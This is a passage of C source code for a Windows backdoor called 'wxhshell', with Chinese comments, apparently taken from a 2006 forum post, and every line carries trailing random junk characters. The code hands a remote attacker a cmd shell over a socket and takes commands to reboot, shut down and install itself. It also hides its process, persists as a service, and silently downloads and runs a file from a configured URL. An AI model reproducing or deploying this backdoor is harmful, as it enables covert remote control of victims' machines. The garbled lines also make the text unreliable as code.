  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?N!kYTR%}  
  else ;_E|I=%'E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8VO]; +N  
  } =]/<Kd}A.  
  else { B<,7!:.II  
kOq8zYU|  
    switch(cmd[0]) { >s0![coz  
  i27)c)\BM  
  // 帮助 oDi+\0  
  case '?': { Qh-:P`CN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WY!4^<|w"  
    break; f#w u~*c  
  } Z,Us<du  
  // 安装 WjM7s]ZRv  
  case 'i': { (+/d*4  
    if(Install()) NuD|%Ebs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MxKTKBxQ  
    else ]yZ%wU9!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *)6\ V}`  
    break; _:p-\Oo.  
    } J.M&Vj:  
  // 卸载 s;* UP   
  case 'r': { -V[x q  
    if(Uninstall()) JEMc_ngR!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FoH1O+e  
    else c-n/E. E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b(Tvc  
    break; (j??  
    } +8itP>  
  // 显示 wxhshell 所在路径 FU>KiBV#  
  case 'p': { -)}Z $;1a  
    char svExeFile[MAX_PATH]; C"_ Roir?  
    strcpy(svExeFile,"\n\r"); h0g?=hJq  
      strcat(svExeFile,ExeFile); /S1/ZI  
        send(wsh,svExeFile,strlen(svExeFile),0); 5s`r&2 w  
    break; )7o? }"I  
    } p:W]  
  // 重启 .jk A'i@  
  case 'b': { ;e/F( J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 18Z1F  
    if(Boot(REBOOT)) }*xjO/Ey  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3JBXGT0gJ  
    else { 6ST(=X_C  
    closesocket(wsh); nhjT2Sl  
    ExitThread(0); C])s'XTs  
    } 9:-7.^`P  
    break; }f?[m&<  
    } E]GbLU;TH  
  // 关机 ctLNzJes%  
  case 'd': { f% )9!qeW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BK6 X)1R  
    if(Boot(SHUTDOWN)) } e+`Kxy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0`-b57lF&  
    else { DZnqCu"J  
    closesocket(wsh); %DXBl:!Y`  
    ExitThread(0); A8Fe@$<#8  
    } Vd  d  
    break; HK~SD:d  
    } QeuM',6R  
  // 获取shell %!(C?k!\  
  case 's': { PM#3N2?|E  
    CmdShell(wsh); /WE\0bf  
    closesocket(wsh); *vuI'EbM  
    ExitThread(0); 5rdB>8W  
    break; z8JW iRn  
  } F@f4-NR>  
  // 退出 rqqd} kA  
  case 'x': { &0-oi Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JcmJq fR  
    CloseIt(wsh); 'Kbrz  
    break; wL="p) TO.  
    } t&J A1|q  
  // 离开 seBmhe5qR  
  case 'q': { >Bf3X&uS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $/ IFSB9  
    closesocket(wsh); +,LWyvc'  
    WSACleanup(); 4_ U"M@  
    exit(1); vszm9Qf  
    break; HdB>CVuh  
        } W.jXO"pN  
  } .O5V;&,  
  } Mh5> hD  
Q [rZ1z  
  // 提示信息 UF#!6"C@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jga\Ry=nw  
} /[\g8U{5B}  
  } 1(IZ,*i  
P@vUQ  
  return; v x/YWZ  
} /3~L#jS  
2[qfF6FHA  
// shell模块句柄 vB_3lAJt@  
int CmdShell(SOCKET sock) UgS`{&b36  
{ x"NQatdq  
STARTUPINFO si; 86Q3d%;-yo  
ZeroMemory(&si,sizeof(si)); 'kcR:5B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aXJ/"k #Tl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 72Y 6gcg  
PROCESS_INFORMATION ProcessInfo; NGl 8*Af   
char cmdline[]="cmd"; 3,{eH6,O7M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  ,S=[#  
  return 0; rD SYR\cg  
} 9|Jv>Ur=)2  
9 $$uk'}w!  
// 自身启动模式 \+O.vRc"M  
int StartFromService(void) Z6i~Dy3  
{ N n FR;  
typedef struct R2sG'<0B0  
{ [B)!  
  DWORD ExitStatus; 5 k3m"*  
  DWORD PebBaseAddress; fP|[4 ku  
  DWORD AffinityMask; `7: uc@  
  DWORD BasePriority; eQu(3sYb  
  ULONG UniqueProcessId; j0; ~2W#G*  
  ULONG InheritedFromUniqueProcessId; :1j8!R5  
}   PROCESS_BASIC_INFORMATION; X%IqZ{ {  
/#M1J:SV  
PROCNTQSIP NtQueryInformationProcess; CMW4Zqau*  
P7XZ|Td4*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v4"Ukv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C:t>u..  
uo]xC+^  
  HANDLE             hProcess; &3Zb?  
  PROCESS_BASIC_INFORMATION pbi; rBTg"^jsw  
X_o#!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =IsmPQKi  
  if(NULL == hInst ) return 0; xBTx`+%WS  
D`a6D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }]o8}$&(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Nbd4>M<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y&,|+h  
'lA}E  
  if (!NtQueryInformationProcess) return 0; ZPG,o5`%  
:.e'?a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^rVHaI  
  if(!hProcess) return 0; U`qC.s(L  
hFi gY\$m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; znsQ/[  
.b3h?R*&  
  CloseHandle(hProcess); (6ga*5<  
h{^v756L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )4=86>XJT  
if(hProcess==NULL) return 0; OA&'T*)-A6  
Gc`PO  
HMODULE hMod; H@ 1'El\9  
char procName[255]; $kTm"I  
unsigned long cbNeeded; x:MwM?  
s"=TM$Vb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SZ9Oz-?  
>^jBE''  
  CloseHandle(hProcess); $45|^.b  
{S{%KkAV  
if(strstr(procName,"services")) return 1; // 以服务启动 uS`}  
9Q4{ cB  
  return 0; // 注册表启动 {fACfSW6  
} F(ydqgH~a  
Hp=BnN  
// 主模块 -a)1L'R  
int StartWxhshell(LPSTR lpCmdLine) A r]*?:4y[  
{ ;^xM" {G8  
  SOCKET wsl; $C7a #?YF,  
BOOL val=TRUE; +Pl)E5W!=`  
  int port=0; :6nD"5(  
  struct sockaddr_in door; &Uam4'B6-  
bQautRW  
  if(wscfg.ws_autoins) Install(); HXKM<E{j  
q8d](MaX  
port=atoi(lpCmdLine); 0* F` h  
f X[xZGV,  
if(port<=0) port=wscfg.ws_port; E,Rj;?  
UF!qp  
  WSADATA data; d*d:-f~q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3O2G+G2  
/=p[k^A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ] H !ru  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 940:NOgm  
  door.sin_family = AF_INET; DH?n~qKpC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _gqqPny4$  
  door.sin_port = htons(port); @FN|=?8%  
p [C 9g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0 MK}  
closesocket(wsl); ?4R%z([X7  
return 1; $vu*# .w  
} %jjPs .  
e&z@yy$  
  if(listen(wsl,2) == INVALID_SOCKET) { 0!3. .5==  
closesocket(wsl); T&'Jc  
return 1; "++\6 H<  
} 1@L18%h  
  Wxhshell(wsl); n/5T{NfG  
  WSACleanup(); ,<%uG6/",g  
2/ 4zg  
return 0; t <` As6}  
Nj4CkMM[3  
} ]oV{JR]  
D-BT`@~l  
// 以NT服务方式启动 RdPk1?}K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i4|R0>b  
{ \lQ3j8 U  
DWORD   status = 0; AE7 7i,Xa  
  DWORD   specificError = 0xfffffff; N4ZV+ |  
({j8|{)+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B%6cgm,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hEB5=~A_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jV}8VK*`+  
  serviceStatus.dwWin32ExitCode     = 0; 0beP7}$  
  serviceStatus.dwServiceSpecificExitCode = 0; b~vV++ou_  
  serviceStatus.dwCheckPoint       = 0; Jo\MDyb]  
  serviceStatus.dwWaitHint       = 0; Z|E9}Il]  
N5*Q nb8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4tCM 2it%  
  if (hServiceStatusHandle==0) return; nv_vFK  
!4afU:  
status = GetLastError(); csW\Q][  
  if (status!=NO_ERROR) 9s"st\u 4  
{ Z>`\$1CI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N~=I))i  
    serviceStatus.dwCheckPoint       = 0; y-3'qq'E  
    serviceStatus.dwWaitHint       = 0; ^ 4<D%\  
    serviceStatus.dwWin32ExitCode     = status; B$2b =\  
    serviceStatus.dwServiceSpecificExitCode = specificError; g{DehBM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LXo$\~M8G8  
    return; 9PKXQp  
  } 32 i6j  
7{}E{/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7_2D4CI  
  serviceStatus.dwCheckPoint       = 0; sg7h&<Xx  
  serviceStatus.dwWaitHint       = 0; CnB[ImMs(A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h}@wPP{  
} f/J/tt  
,7j8+p|},  
// 处理NT服务事件,比如:启动、停止 G~5pMyOR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l }/_(*  
{ )oCL![^pXe  
switch(fdwControl) q2E{o)9  
{ 3cghg._  
case SERVICE_CONTROL_STOP: "6'",  
  serviceStatus.dwWin32ExitCode = 0; f8lyH'z0 @  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $Lj ]NtO  
  serviceStatus.dwCheckPoint   = 0; <u\Hy0g  
  serviceStatus.dwWaitHint     = 0; b 5|*p(7[  
  { M3-lL;!n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,A{Bx`o?  
  } DKt98;  
  return; IVh5SS  
case SERVICE_CONTROL_PAUSE: /GGyM]k3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UH>~Y N  
  break; 7_ix&oVI  
case SERVICE_CONTROL_CONTINUE: ch8VJ^%Ra1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4u iq'-  
  break; i6V$mhL  
case SERVICE_CONTROL_INTERROGATE: 6#U~>r/  
  break; rQ* w3F?:  
}; iXm&\.%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~k&b  
} I4N7wnBp  
zU!{_Ao9  
// 标准应用程序主函数 J`5+Zngr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bpBn3f`?*  
{ Z(6.e8fK  
tAN!LI+w  
// 获取操作系统版本 c]E pg)E  
OsIsNt=GetOsVer(); 9$$  Ijf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F)cCaE;  
Hy3J2p9.  
  // 从命令行安装 i$] :Y`3h  
  if(strpbrk(lpCmdLine,"iI")) Install(); &pzL}/u  
)L9eLxI  
  // 下载执行文件 Trs~KcsD  
if(wscfg.ws_downexe) { E'\gd7t ;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *}89.kCBF  
  WinExec(wscfg.ws_filenam,SW_HIDE); )(G<(eiD  
} tlQ6>v'  
W]eILCo  
if(!OsIsNt) { l!:bNMd  
// 如果时win9x,隐藏进程并且设置为注册表启动 #k9&OS?  
HideProc(); tM"vIz 05  
StartWxhshell(lpCmdLine); /}@F q  
} zY\u" '4  
else PFp!T [)  
  if(StartFromService()) \YzKEYx+  
  // 以服务方式启动 : 2%eh  
  StartServiceCtrlDispatcher(DispatchTable); :(XyiF<Ud  
else TQO|C?  
  // 普通方式启动 5b"=m9{g  
  StartWxhshell(lpCmdLine); Mrk3r/ 8w  
[l^XqD D4  
return 0; ,mm97I  
}
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只看该作者 1 发表于: 2006-10-10
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